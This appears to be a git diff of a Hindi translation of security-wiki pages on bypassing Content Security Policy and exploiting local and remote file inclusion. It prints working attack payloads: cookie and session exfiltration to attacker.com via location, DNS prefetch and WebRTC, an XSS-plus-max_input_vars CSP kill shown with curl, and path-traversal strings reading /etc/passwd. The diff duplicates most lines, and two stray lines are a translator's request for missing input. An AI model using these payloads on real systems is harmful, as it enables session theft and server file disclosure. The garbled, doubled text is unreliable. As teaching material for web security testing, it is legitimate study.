In [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP को bypass किया गया था एक अनुमति प्राप्त iframe के अंदर एक और अधिक restrictive CSP inject करके जो एक specific JS फ़ाइल को लोड करने से रोकता था, जो फिर **prototype pollution** या **dom clobbering** के माध्यम से **किसी अलग script का दुरुपयोग करके किसी arbitrary script को लोड करने की अनुमति** देता था।
आप **Iframe की CSP को सीमित कर सकते हैं** **`csp`** attribute के साथ:
आप **Iframe का CSP सीमित कर सकते हैं** **`csp`** attribute के साथ:
```html
<iframe
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
```
In [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), में, **HTML injection** के माध्यम से यह संभव था कि **CSP** को और अधिक **सीमित** किया जाए ताकि CSTI को रोकने वाला एक script disabled हो जाए और इसलिए **vulnerability became exploitable.**\
CSP को और अधिक सख्त बनाया जा सकता है **HTML meta tags** का उपयोग करके और inline scripts को disabled किया जा सकता है **removing** उस **entry** को जो उनके **nonce**ो अनुमति देता है और कुछ inline script को **enable specific inline script via sha**:
In [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), यह संभव था कि **HTML injection** के जरिए **CSP** को और अधिक **restrict** किया जाए, जिससे CSTI रोकने वाली स्क्रिप्ट अक्षम हो गई और इसलिए **vulnerability became exploitable.**\
CSP को और अधिक प्रतिबंधित बनाया जा सकता है **HTML meta tags** का उपयोग करके, और inline scripts को अक्षम किया जा सकता है **removing** उस **entry** को जो उनके **nonce**ी अनुमति देता है और **enable specific inline script via sha**:
```html
<meta
http-equiv="Content-Security-Policy"
@ -571,9 +574,9 @@ content="script-src 'self'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />
```
### JS exfiltration Content-Security-Policy-Report-Only के साथ
### JS exfiltration with Content-Security-Policy-Report-Only
अगर आप किसी तरह सर्वर को हेडर **`Content-Security-Policy-Report-Only`** के साथ प्रतिक्रिया देने में सक्षम हो जाएँ और वह **value आपके नियंत्रण में हो** (शायद CRLF के कारण), तो आप इसे अपने सर्वर की ओर पॉइंट करा सकते हैं और अगर आप उस **JS content** को जिसे आप exfiltrate करना चाहते हैं **`<script>`** से **wrap** करते हैं और चूँकि बहुत संभव है कि CSP में `unsafe-inline` allowed नहीं है, तो यह **trigger a CSP error** करेगा और script का वह हिस्सा (जिसमें संवेदनशील जानकारी हो) `Content-Security-Policy-Report-Only` के माध्यम से सर्वर पर भेज दिया जाएगा।
यदि आप सर्वर को यह हेडर **`Content-Security-Policy-Report-Only`** इस तरह भेजवाने में कामयाब हो जाते हैं कि इसका **मान आपके नियंत्रण में** हो (शायद किसी CRLF की वजह से), तो आप इसे अपने सर्वर की ओर पॉइंट करवा सकते हैं और यदि आप उस **JS content** को जिसे आप exfiltrate करना चाहते हैं, **`<script>`** से लपेटते हैं, और चूँकि `unsafe-inline` आम तौर पर CSP में अनुमति नहीं होता, यह **CSP error** ट्रिगर करेगा और स्क्रिप्ट का वह हिस्सा (जिसमें संवेदनशील जानकारी होती है) `Content-Security-Policy-Report-Only` के माध्यम से सर्वर पर भेज दिया जाएगा।
For an example [**check this CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
@ -584,44 +587,44 @@ document.querySelector("DIV").innerHTML =
```
### Leaking Information with CSP and Iframe
- एक `iframe` बनाया जाता है जो एक URL की ओर इशारा करता है (इसे `https://example.redirect.com` कहें) जिसे CSP द्वारा अनुमति दी गई है।
- यह URL फिर एक गुप्त URL (उदा., `https://usersecret.example2.com`) पर redirect कर देता है, जिसे CSP द्वारा **अनुमति नहीं** है।
- `securitypolicyviolation` इवेंट को सुनकर, आप `blockedURI` property को पकड़ सकते हैं। यह property blocked URI के domain का खुलासा करती है, जिससे प्रारंभिक URL जिस गुप्त domain पर redirect हुआ था वह leak हो जाता है
- एक `iframe` बनाया जाता है जो एक URL की ओर इशारा करता है (मान लें `https://example.redirect.com`) जिसे CSP द्वारा अनुमति दी गई है।
- यह URL फिर एक secret URL (उदा., `https://usersecret.example2.com`) पर redirect करता है जो CSP द्वारा **अनुमति नहीं** है।
- `securitypolicyviolation` event को listen करने पर, आप `blockedURI` property को capture कर सकते हैं। यह property blocked URI के domain का खुलासा करती है, leaking उस secret domain का जिसका initial URL ने redirect किया था
ध्यान देने योग्य है कि Chrome और Firefox जैसे browsers CSP के संदर्भ में iframes को हैंडल करते समय अलग व्यवहार दिखाते हैं, जो undefined behavior के कारण संवेदनशील जानकारी के संभावित leak का कारण बन सकता है।
ध्यान देने वाली बात है कि Chrome और Firefox जैसे browsers CSP के संदर्भ में iframes को handle करने में अलग व्यवहार दिखाते हैं, जिससे अनिर्दिष्ट व्यवहार के कारण संवेदनशील जानकारी का संभावित leakage हो सकता है।
एक और तकनीक CSP का स्वयं उपयोग करके गुप्त subdomain का अनुमान लगाने से संबंधित है। यह तरीका एक binary search algorithm पर निर्भर करता है और CSP को समायोजित करके उन specific domains को शामिल करने पर जिसका जानबूझकर block किया गया हो। उदाहरण के लिए, यदि गुप्त subdomain अनजान characters से बना है, तो आप CSP directive को modify कर के इन subdomains को block या allow करके अलग-अलग subdomains को क्रमिक रूप से test कर सकते हैं। नीचे एक snippet दिया गया है जो दिखाता है कि इस method को सुविधाजनक बनाने के लिए CSP कैसे सेट किया जा सकता है:
एक अन्य तकनीक CSP का उपयोग करके secret subdomain का पता लगाने से संबंधित है। यह तरीका एक binary search algorithm पर निर्भर करता है और CSP को समायोजित करके उन specific domains को शामिल करने पर आधारित है जिन्हें जानबूझकर blocked किया जाता है। उदाहरण के लिए, यदि secret subdomain अज्ञात characters से बना है, तो आप विभिन्न subdomains का क्रमिक परीक्षण कर सकते हैं CSP directive को संशोधित करके ताकि ये subdomains block या allow हों। नीचे एक snippet दिखाया गया है जो दिखाता है कि इस विधि को सुविधाजनक बनाने के लिए CSP कैसे सेटअप किया जा सकता है:
```markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
CSP द्वारा कौन‑से requests ब्लॉक या अनुमति किए जा रहे हैं इसे मॉनिटर करके, आप secret subdomain में संभावित characters को सीमित कर सकते हैं और अंततः पूरा URL उजागर कर सकते हैं
CSP द्वारा किस अनुरोध को blocked या allowed किया जा रहा है इसकी निगरानी करके, कोई गुप्त सबडोमेन में संभावित अक्षरों को संकुचित कर सकता है और अंततः पूरा URL खोज सकता है
दोनों तरीके CSP की implementation और ब्राउज़रों में उसके व्यवहार की नाज़ुकियों का फायदा उठाते हैं, दिखाते हुए कि कैसे जाहिरा तौर पर सुरक्षित नीतियाँ अनजाने में संवेदनशील जानकारी leak कर सकती हैं।
दोनों तरीके ब्राउज़र में CSP के इम्प्लीमेंटेशन और व्यवहार की सूक्ष्मताओं का फायदा उठाते हैं, यह दिखाते हुए कि दिखने में सुरक्षित नीतियाँ कैसे अनजाने में संवेदनशील जानकारी leak कर सकती हैं।
Trick from [**here**](https://ctftime.org/writeup/29310).
## CSP बायपास करने के लिए असुरक्षित तकनीकें
## CSP को बायपास करने के लिए असुरक्षित तकनीकें
### PHP Errors when too many params
[**last technique commented in this video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM) के अनुसार, बहुत अधिक parameters भेजने (1001 GET parameters — हालाँकि आप इसे POST params और 20 से अधिक files के साथ भी कर सकते हैं) से trigger होने वाली error के कारण PHP वेब कोड में परिभाषित किसी भी **`header()`** को **send नहीं किया जाएगा**
According to the [**last technique commented in this video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), sending too many parameters (1001 GET parameters although you can also do it with POST params and more that 20 files). किसी भी परिभाषित **`header()`** को PHP वेब कोड में उस त्रुटि के कारण **भेजा नहीं जाएगा** जो यह ट्रिगर करेगा
### PHP response buffer overload
PHP डिफ़ॉल्ट रूप से response को **4096** bytes तक buffer करने के लिए जाना जाता है। इसलिए, अगर PHP कोई warning दिखा रहा है, warnings के अंदर पर्याप्त डेटा देने से **response** **CSP header** से **पहले** **send** हो जाएगा, जिससे header ignore हो जाएगा.
फिर, यह technique मूलतः **response buffer को warnings से भरने** पर आधारित है ताकि CSP header भेजा न जाए।
PHP को डिफ़ॉल्ट रूप से response को 4096 bytes तक buffer करने के लिए जाना जाता है। इसलिए, अगर PHP कोई warning दिखा रहा है, warnings के भीतर पर्याप्त डेटा देकर, response CSP header से पहले भेज दिया जाएगा, जिससे header ignored हो जाएगा.\
फिर, तकनीक मूलतः response buffer को warnings से भरने पर आधारित है ताकि CSP header भेजा न जाए।
Idea from [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
### Kill CSP via max_input_vars (headers already sent)
### max_input_vars के जरिए CSP खत्म करना (headers already sent)
क्योंकि headers को किसी भी output से पहले भेजा जाना चाहिए, PHP द्वारा उत्पन्न warnings बाद क `header()` कॉल्स को अमान्य कर सकते हैं। यदि user input `max_input_vars` से अधिक हो जाता है, तो PHP पहले एक startup warning फेंकता है; इसके बाद कोई भी `header('Content-Security-Policy: ...')` “headers already sent” के साथ fail हो जाएगा, जिससे प्रभावी रूप से CSP disable हो जाता है और अन्यथा blocked reflective XSS की अनुमति मिल जाती है
क्योंकि headers को किसी भी आउटपुट से पहले भेजा जाना चाहिए, PHP द्वारा उत्पन्न warnings बाद क `header()` कॉल्स को अमान्य कर सकते हैं। यदि user input `max_input_vars` से अधिक हो जाता है, तो PHP सबसे पहले एक startup warning फेंकता है; किसी भी subsequent `header('Content-Security-Policy: ...')` में “headers already sent” त्रुटि आएगी, जिससे CSP प्रभावी रूप से डिसेबल हो जाएगा और अन्यथा-ब्लॉक की गई reflective XSS की अनुमति मिल जाएगी
```php
<?php
header("Content-Security-Policy: default-src 'none';");
echo $_GET['xss'];
```
कृपया src/pentesting-web/content-security-policy-csp-bypass/README.md की सामग्री यहाँ पेस्ट करें — मैं इसे Markdown/HTML टैग्स अपरिवर्तित रखते हुए अंग्रेज़ी से हिंदी में अनुवाद कर दूँगा।
I don't have the README.md content. कृपया उस README.md की Markdown सामग्री यहाँ चिपकाएँ जिसे आप हिंदी में अनुवाद करवाना चाहते हैं — मैं केवल English टेक्स्ट का अनुवाद करूँगा और code, tags, links, paths इत्यादि को अपरिवर्तित रखूँगा।
```bash
# CSP in place → payload blocked by browser
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"
@ -631,9 +634,9 @@ curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000"
# Warning: PHP Request Startup: Input variables exceeded 1000 ...
# Warning: Cannot modify header information - headers already sent
```
### Rewrite Error Page
### एरर पेज पुनर्लेखन
इस [**this writeup**](https://blog.ssrf.kr/69) से ऐसा लगता है कि एक error page (संभवतः बिना CSP के) को लोड करके और उसके कंटेंट को rewrite करके CSP protection को bypass करना संभव था।
इस [**लेख**](https://blog.ssrf.kr/69) से ऐसा लगता है कि एक त्रुटि पृष्ठ (संभवतः बिना CSP के) लोड करके और उसकी सामग्री को पुनर्लेखन करके CSP सुरक्षा को बायपास करना संभव था।
```javascript
a = window.open("/" + "x".repeat(4100))
setTimeout(function () {
@ -642,7 +645,7 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
```
### SOME + 'self' + wordpress
SOME एक तकनीक है जो XSS (या बहुत सीमित XSS) का दुरुपयोग करके किसी पेज के endpoint में मौजूद कमी का फायदा उठाकर उसी origin के अन्य endpoints का दुरुपयोग करने के लिए प्रयोग की जाती है। यह vulnerable endpoint को एक attacker page से लोड करके और फिर attacker page को उसी same origin के real endpoint पर refresh करके किया जाता है जिसे आप दुरुपयोग करना चाहते हैं। इस तरह vulnerable endpoint payload में मौजूद `opener` object का उपयोग करके real endpoint के DOM तक पहुँच कर उसे दुरुपयोग कर सकता है। अधिक जानकारी के लिए देखें:
SOME एक technique है जो XSS (या highly limited XSS) को एक पेज के endpoint में abuse करके उसी origin के अन्य endpoints को abuse करने के लिए उपयोग करती है। यह तब किया जाता है जब attacker page से vulnerable endpoint को load किया जाता है और फिर attacker page को उसी origin के real endpoint पर refresh किया जाता है जिसे आप abuse करना चाहते हैं। इस तरह vulnerable endpoint अपने payload में मौजूद `opener` object का उपयोग करके real endpoint के DOM तक access कर सकता है। अधिक जानकारी के लिए देखें:
{{#ref}}
../xss-cross-site-scripting/some-same-origin-method-execution.md
@ -650,12 +653,12 @@ SOME एक तकनीक है जो XSS (या बहुत सीमि
Moreover, **wordpress** has a **JSONP** endpoint in `/wp-json/wp/v2/users/1?_jsonp=data` that will **reflect** the **data** sent in the output (with the limitation of only letter, numbers and dots).
एक attacker उस endpoint का दुरुपयोग करके WordPress के खिलाफ एक SOME attack जेनरेट कर सकता है और उसे `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` के अंदर embed कर सकता है। ध्यान दें कि यह **script** लोड होगी क्योंकि यह **allowed by 'self'** है। Moreover, and because WordPress is installed, an attacker might abuse the **SOME attack** through the **vulnerable** **callback** endpoint that **bypasses the CSP** to give more privileges to a user, install a new plugin...\
An attacker can abuse that endpoint to **generate a SOME attack** against WordPress and **embed** it inside `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` note that this **script** will be **loaded** because it's **allowed by 'self'**. Moreover, and because WordPress is installed, an attacker might abuse the **SOME attack** through the **vulnerable** **callback** endpoint that **bypasses the CSP** to give more privileges to a user, install a new plugin...\
For more information about how to perform this attack check [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
## CSP Exfiltration Bypasses
If there is a strict CSP that doesn't allow you to **interact with external servers**, there are some things you can always do to exfiltrate the information.
यदि strict CSP है जो आपको **interact with external servers** की अनुमति नहीं देता, तो कुछ ऐसी चीज़ें हैं जिनसे आप information को exfiltrate कर सकते हैं।
### Location
@ -666,16 +669,16 @@ document.location = "https://attacker.com/?" + sessionid
```
### Meta tag
आप meta tag inject करके redirect कर सकते हैं (यह सिर्फ़ एक redirect है, यह content को leak नहीं करेगा)
आप meta tag इंजेक्ट करके redirect कर सकते हैं (यह सिर्फ एक redirect है, यह सामग्री leak नहीं करेगा)
```html
<meta http-equiv="refresh" content="1; http://attacker.com" />
```
### DNS Prefetch
पेजों को तेज़ी से लोड करने के लिए, ब्राउज़र होस्टनेम को पहले से IP पतों में रेज़ॉल्व करते हैं और उन्हें बाद के उपयोग के लिए कैश कर लेते हैं.\
आप ब्राउज़र को किसी होस्टनेम को पहले से रेज़ॉल्व करने के लिए संकेत दे सकते हैं: `<link rel="dns-prefetch" href="something.com">`
पेजों को तेज़ी से लोड करने के लिए, ब्राउज़र hostnames को पहले से IP addresses में pre-resolve करके बाद के उपयोग के लिए cache कर लेते हैं.\
आप ब्राउज़र को किसी hostname को pre-resolve करने के लिए संकेत दे सकते हैं: `<link rel="dns-prefetch" href="something.com">`
आप इस व्यवहार का दुरुपयोग करके **exfiltrate sensitive information via DNS requests** कर सकते हैं:
आप इस व्यवहार का दुरुपयोग करके **exfiltrate संवेदनशील जानकारी via DNS requests** कर सकते हैं:
```javascript
var sessionid = document.cookie.split("=")[1] + "."
var body = document.getElementsByTagName("body")[0]
@ -692,7 +695,7 @@ linkEl.rel = "prefetch"
linkEl.href = urlWithYourPreciousData
document.head.appendChild(linkEl)
```
इसे होने से रोकने के लिए सर्वर निम्न HTTP header भेज सकता है:
ऐसा होने से रोकने के लिए सर्वर HTTP header भेज सकता है:
```
X-DNS-Prefetch-Control: off
```
@ -701,9 +704,9 @@ X-DNS-Prefetch-Control: off
### WebRTC
कई पृष्ठों पर आप पढ़ सकते हैं कि **WebRTC CSP की `connect-src` नीति की जाँच नहीं करता है**.
कई पन्नों पर आप पढ़ सकते हैं कि **WebRTC CSP की `connect-src` policy की जाँच नहीं करता है**
वास्तव में आप _leak_ जानकारी को एक _DNS request_ के माध्यम से बाहर निकाल सकते हैं। इस कोड को देखें:
वास्तव में आप एक _DNS request_ का उपयोग करके जानकारी _leak_ कर सकते हैं। इस कोड को देखें:
```javascript
;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
@ -725,7 +728,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
```
### CredentialsContainer
credential popup पृष्ठ द्वारा प्रतिबंधित किए बिना iconURL पर एक DNS अनुरोध भेजता है। यह केवल सुरक्षित संदर्भ (HTTPS) या localhost पर ही काम करता है।
यह credential popup पेज द्वारा प्रतिबंधित किए बिना iconURL पर एक DNS अनुरोध भेजता है। यह केवल सुरक्षित context (HTTPS) या localhost पर काम करता है।
```javascript
navigator.credentials.store(
new FederatedCredential({
@ -736,9 +739,9 @@ iconURL:"https:"+your_data+"example.com"
})
)
```
## CSP नीतियों की ऑनलाइन जाँच
## CSP नीतियों को ऑनलाइन जांचना
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com/)
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
- [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
## CSP को स्वचालित रूप से बनाना

View File

@ -4,14 +4,14 @@
## File Inclusion
**Remote File Inclusion (RFI):** फाइल एक remote सर्वर से लोड होती है (Best: आप कोड लिख सकते हैं और सर्वर उसे execute करेगा)। In php यह डिफ़ॉल्ट रूप से **disabled** है (**allow_url_include**).\
**Local File Inclusion (LFI):** सर्वर एक local फ़ाइल लोड करता है।
**Remote File Inclusion (RFI):** फाइल किसी remote server से लोड की जाती है (सबसे अच्छा: आप कोड लिख सकते हैं और server उसे execute करेगा). In php यह डिफ़ॉल्ट रूप से **disabled** है (**allow_url_include**).\
**Local File Inclusion (LFI):** सर्वर एक local फ़ाइल को लोड करता है.
यह vulnerability तब उत्पन्न होती है जब user किसी तरह उस फाइल को control कर सकता है जिसे server लोड करने वाला है
Vulnerability तब होती है जब user किसी तरह उस फाइल को control कर सकता है जिसे server लोड करने वाला है.
कमज़ोर **PHP functions**: require, require_once, include, include_once
असुरक्षित **PHP functions**: require, require_once, include, include_once
एक उपयोगी टूल इस vulnerability को exploit करने के लिए: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
एक दिलचस्प टूल इस vulnerability को exploit करने के लिए: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Blind - Interesting - LFI2RCE files
```python
@ -19,31 +19,31 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
```
### **Linux**
**कई \*nix LFI सूचियों को मिलाकर और अधिक पथ जोड़कर मैंने यह बनाई है:**
**कई *nix LFI सूचियों को मिलाकर और अधिक पथ जोड़कर मैंने यह बनाया है:**
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
{{#endref}}
यह भी आज़माएँ कि `/` को `\`\
यह भी आज़माएँ कि `../../../../../` जोड़ें
इसके अलावा `/` को `\` से बदलकर भी कोशिश करें\
इसके अलावा `../../../../../` जोड़कर भी कोशिश करें
फ़ाइल /etc/password खोजने के लिए कई तकनीकों का प्रयोग करने वाली एक सूची (कमज़ोरी के मौजूद होने की जाँच के लिए) [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) पर मिल सकती है।
A list that uses several techniques to find the file /etc/password (to check if the vulnerability exists) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
### **Windows**
विभिन्न wordlists का मिश्रण:
विभिन्न wordlists का संयोजन:
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
{{#endref}}
यह भी आज़माएँ कि `/` को `\`\
यह भी आज़माएँ कि `C:/` हटाएँ और `../../../../../` जोड़ें
इसके अलावा `/` को `\` से बदलकर भी कोशिश करें\
इसके अलावा `C:/` हटाकर `../../../../../` जोड़कर भी कोशिश करें
फ़ाइल /boot.ini खोजने के लिए कई तकनीकों का प्रयोग करने वाली एक सूची (कमज़ोरी के मौजूद होने की जाँच के लिए) [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) पर मिल सकती है।
A list that uses several techniques to find the file /boot.ini (to check if the vulnerability exists) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
### **OS X**
@ -51,7 +51,7 @@ linux की LFI सूची देखें।
## बुनियादी LFI और bypasses
सभी उदाहरण Local File Inclusion के लिए हैं लेकिन इन्हें Remote File Inclusion पर भी लागू किया जा सकता है (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
सभी उदाहरण Local File Inclusion के लिए हैं लेकिन Remote File Inclusion पर भी लागू किए जा सकते हैं (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
```
http://example.com/index.php?page=../../../etc/passwd
```
@ -63,59 +63,59 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Null byte (%00)**
Bypass प्रदत्त स्ट्रिंग के अंत में अतिरिक्त characters जोड़ने को रोकने के लिए (bypass of: $\_GET\['param']."php")
Bypass करें: प्रदान की गई स्ट्रिंग के अंत में जोड़े गए अतिरिक्त अक्षरों को (bypass of: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
यह **PHP 5.4 के बाद से हल हो चुका है**
यह **PHP 5.4 से हल हो चुका है**
### **एन्कोडिंग**
### **Encoding**
आप non-standard encodings का उपयोग कर सकते हैं, जैसे double URL encode (और अन्य):
आप non-standard encodings जैसे double URL encode (और अन्य) का उपयोग कर सकते हैं:
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
### मौजूद फ़ोल्डर से
### मौजूद फ़ोल्डर से
शायद back-end फ़ोल्डर पथ की जाँच कर रहा है:
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### सर्वर पर फ़ाइल सिस्टम निर्देशिकाओं का अन्वेषण
### सर्वर पर फ़ाइल सिस्टम डायरेक्टरीज़ का अन्वेषण
किसी सर्वर के फ़ाइल सिस्टम को कुछ तकनीकों का उपयोग करके रिकर्सिव तरीके से खोजा जा सकता है ताकि केवल फ़ाइलें ही नहीं बल्कि निर्देशिकाओं (directories) की भी पहचान हो सके। यह प्रक्रिया वर्तमान निर्देशिका की गहराई निर्धारित करने और विशिष्ट फ़ोल्डरों के अस्तित्व की जाँच करने पर आधारित है। इसे प्राप्त करने का एक विस्तृत तरीका नीचे दिया गया है:
किसी सर्वर की फ़ाइल सिस्टम को recursive तरीके से अन्वेषण कर केवल फ़ाइलों के बजाय डायरेक्टरीज़ की पहचान भी की जा सकती है। इस प्रक्रिया में directory depth निर्धारित करना और विशिष्ट फ़ोल्डरों के अस्तित्व के लिए probe करना शामिल है। नीचे इसे हासिल करने का विस्तृत तरीका दिया गया है:
1. **निर्देशिका गहराई निर्धारित करें:** अपनी वर्तमान निर्देशिका की गहराई की पुष्टि `/etc/passwd` फ़ाइल को सफलतापूर्वक प्राप्त करके करें (यदि सर्वर Linux-आधारित है)। उदाहरण URL निम्नलिखित संरचना का हो सकता है, जो तीन स्तर की गहराई का संकेत देता है:
1. **Directory Depth निर्धारित करें:** अपने वर्तमान डायरेक्टरी की depth का पता लगाएँ `/etc/passwd` फ़ाइल को सफलतापूर्वक प्राप्त करके (यदि सर्वर Linux-based है तो लागू)। एक उदाहरण URL इस प्रकार संरचित हो सकता है, जो तीन की depth को संकेत करता है:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **फ़ोल्डरों की जाँच:** URL में संदिग्ध फ़ोल्डर का नाम जोड़ें (उदा., `private`) और फिर `/etc/passwd` पर वापस जाएँ। अतिरिक्त डायरेक्टरी स्तर के कारण depth को एक बढ़ाना होगा:
2. **Probe for Folders:** संदेहास्पद फ़ोल्डर का नाम (उदा., `private`) URL में जोड़ें, फिर `/etc/passwd` पर वापस जाएँ। अतिरिक्त डायरेक्टरी लेवल के लिए depth को एक से बढ़ाना होगा:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **परिणामों की व्याख्या:** सर्वर का उत्तर यह संकेत देता है कि फोल्डर मौजूद है या नहीं:
- **Error / No Output:** फ़ोल्डर `private` संभवतः निर्दिष्ट स्थान पर मौजूद नहीं है।
- **Contents of `/etc/passwd`:** `private` फ़ोल्डर की उपस्थिति की पुष्टि होती है।
4. **Recursive Exploration:** पाए गए फ़ोल्डरों की आगे उपनिर्देशिकाएँ या फाइलें उसी तकनीक या पारंपरिक Local File Inclusion (LFI) तरीकों का उपयोग करके और जांची जा सकती हैं
3. **परिणामों की व्याख्या करें:** सर्वर की प्रतिक्रिया यह दर्शाती है कि फ़ोल्डर मौजूद है या नहीं:
- **त्रुटि / कोई आउटपुट नहीं:** निर्दिष्ट स्थान पर `private` फ़ोल्डर संभवतः मौजूद नहीं है।
- **`/etc/passwd` की सामग्री:** `private` फ़ोल्डर की उपस्थिति की पुष्टि होती है।
4. **Recursive Exploration:** खोजे गए फ़ोल्डरों को उसी तकनीक या पारंपरिक Local File Inclusion (LFI) तरीकों का उपयोग करके उपनिर्देशिकाओं या फाइलों के लिए आगे जांचा जा सकता है
़ाइल सिस्टम में अलग-अलग स्थानों पर निर्देशिकाओं का पता लगाने के लिए, payload को उसी के अनुसार समायोजित करें। उदाहरण के लिए, यह जाचने के लिए कि `/var/www/` में `private` निर्देशिका है या नहीं (मान लेते हैं कि वर्तमान निर्देशिका गहराई 3 पर है), उपयोग करें:
ाइल सिस्टम में विभिन्न स्थानों पर निर्देशिकाओं का अन्वेषण करने के लिए, payload को उसी के अनुसार समायोजित करें। उदाहरण के लिए, यह जाचने के लिए कि `/var/www/` में `private` निर्देशिका है या नहीं (मान लें कि वर्तमान निर्देशिका की गहराई 3 है), उपयोग करें:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Path Truncation Technique**
Path truncation एक तरीका है जो वेब एप्लिकेशन में फ़ाइल पथों को मैनिपुलेट करने के लिए उपयोग होता है। इसे अक्सर प्रतिबंधित फ़ाइलों तक पहुँचने के लिए इस्तेमाल किया जाता है, ताकि उन सुरक्षा उपायों को बायपास किया जा सके जो फ़ाइल पथों के अंत में अतिरिक्त चरित्र जोड़ते हैं। उद्देश्य यह है कि ऐसा फ़ाइल पथ तैयार किया जाए कि सुरक्षा उपाय द्वारा बदलने के बाद भी वह इच्छित फ़ाइल की ओर इशारा करे।
Path truncation एक विधि है जिसका उपयोग web applications में file paths को manipulate करने के लिए किया जाता है। इसका अक्सर उपयोग restricted files तक पहुँचने के लिए किया जाता है, उन security measures को bypass करके जो file paths के अंत में अतिरिक्त characters जोड़ देते हैं। उद्देश्य ऐसा file path तैयार करना है जो security measure द्वारा परिवर्तित होने के बाद भी desired file की ओर इशारा करे।
In PHP, विभिन्न प्रतिनिधित्वों को फ़ाइल सिस्टम की प्रकृति के चलते समान माना जा सकता है। उदाहरण के लिए:
In PHP, file system की प्रकृति के कारण किसी file path के विभिन्न representations को equivalent माना जा सकता है। उदाहरण के लिए:
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` सभी को एक ही पथ माना जाता है।
- जब अंतिम 6 अक्षर `passwd` हों, तो अंत में `/` जोड़ना (इसे `passwd/` बना देने से) लक्षित फ़ाइल नहीं बदलती
- इसी तरह, यदि किसी फ़ाइल पथ के साथ `.php` जुड़ा हो (जैसे `shellcode.php`), तो अंत में `/.` जोड़ने से एक्सेस की जा रही फ़ाइल में कोई परिवर्तन नहीं होता।
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, और `/etc/passwd/` सभी को एक ही path माना जाता है।
- जब अंतिम 6 characters `passwd` होते हैं, तो `/` जोड़ने (यानि `passwd/`) से targeted file बदलती नहीं है
- इसी तरह, यदि किसी file path के अंत में `.php` जोड़ा गया है (जैसे `shellcode.php`), तो अंत में `/.` जोड़ने से accessed file पर असर नहीं पड़ता।
िम्न उदाहरण दिखाते हैं कि कैसे path truncation का उपयोग करके `/etc/passwd` तक पहुँच प्राप्त की जा सकती है, जो अपनी संवेदनशील सामग्री (उपयोगकर्ता खाता जानकारी) के कारण एक सामान्य लक्ष्य है:
ीचे दिए गए उदाहरण दिखाते हैं कि कैसे path truncation का उपयोग करके `/etc/passwd` तक पहुँच स्थापित की जा सकती है, जो अपनी संवेदनशील सामग्री (उपयोगकर्ता खाता जानकारी) के कारण एक सामान्य लक्ष्य है:
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -125,15 +125,15 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
